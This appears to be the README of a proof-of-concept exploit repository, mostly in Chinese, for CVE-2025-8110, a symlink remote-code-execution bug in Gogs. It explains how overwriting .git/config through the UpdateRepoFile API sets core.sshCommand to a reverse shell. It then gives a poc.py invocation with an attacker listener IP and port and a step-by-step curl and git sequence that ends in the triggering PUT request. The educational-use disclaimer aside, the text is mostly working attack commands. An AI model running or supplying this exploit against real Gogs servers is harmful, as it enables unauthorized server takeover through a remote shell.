
One-shot exploit for Gogs symlink RCE (CVE-2025-8110) that triggers a reverse shell via a single PUT request to UpdateRepoFile.
Python 概念验证脚本,针对 CVE-2025-8110 — Gogs v0.13.3 UpdateRepoFile 符号链接远程代码执行。单次攻击:恶意 PUT 请求本身触发 git fetch → sshCommand → 反弹 shell。
⚠️ 仅供教育和授权安全研究使用。 针对你不拥有或未经书面许可测试的系统运行此工具是非法的。
internal/db/repo_editor.go 中的 UpdateRepoFile 处理函数调用了 os.WriteFile 来写入文件内容,该函数会跟随符号链接,而不检查它们。结合之前提交的符号链接会遍历到 .git/ 目录的事实,攻击者可以:
x → .git/config 到裸仓库PUT /api/v1/repos/{owner}/{repo}/contents/x,附带包含 core.sshCommand 设置为反弹 shell 命令的恶意 .git/configgit fetch origin(通过 CreateOrUpdateRepoFile → UpdateLocalCopyBranch),它会读取修改后的配置并执行 sshCommand — 一次性生成一个反弹 shell。poc.py: 提示输入目标、用户名、密码、LHOST 和 LPORT;登录,创建 API 令牌,创建仓库,推送符号链接,并通过 API 覆盖 .git/config — 单个 PUT 请求本身触发反弹 shell。运行:
python3 poc.py --target https://gogs.example.com --username admin --password admin123 --lhost 10.10.14.206 --lport 9001
/user/settings/applications 创建一个个人 API 令牌x → .git/config,提交并推送PUT /api/v1/repos/{owner}/{repo}/contents/x,附带包含 core.sshCommand 和 SSH 远程 URL 的恶意 git 配置。Gogs 的 CreateOrUpdateRepoFile 内部调用 UpdateLocalCopyBranch → git fetch origin,它会读取被篡改的配置并执行 sshCommand — 在一个请求中产生一个反弹 shell。curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/login
# 从响应中提取 _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/login \
-d '_csrf=<csrf>&user_name=<user>&password=<pass>'
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/settings/applications
# 提取 _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/settings/applications \
-d '_csrf=<csrf>&name=poc-token'
curl -X POST http://target/api/v1/user/repos \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
-d '{"name":"poc-repo"}'
git clone http://<user>:<token>@target/<user>/poc-repo.git
cd poc-repo
ln -s .git/config x
git add x
git commit -m "添加符号链接"
git push origin master
curl -X PUT http://target/api/v1/repos/<user>/poc-repo/contents/x \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
--max-time 10 \
-d '{"message":"x","content":"<恶意 git 配置的 base64>"}'
PUT 请求本身触发 git fetch origin,它会读取被篡改的 .git/config 并执行反弹 shell。无需第二次请求。
为什么使用
--max-time 10? 服务器可能会暂停约 10 秒,同时 git 处理写入并触发 fetch。使用--max-time 10可确保 curl 保持连接足够长的时间,以使 shell 回连。如果不使用,连接可能会在 shell 触发之前断开。
| 参数 | 必需 | 描述 |
|---|
--target / -t | 是 | Gogs 目标主机名或 URL |
--username | 是 | 现有的 Gogs 用户名 |
--password | 是 | 现有的 Gogs 密码 |
--lhost | 是 | 反弹 shell 的监听器 IP |
--lport | 是 | 监听器端口 |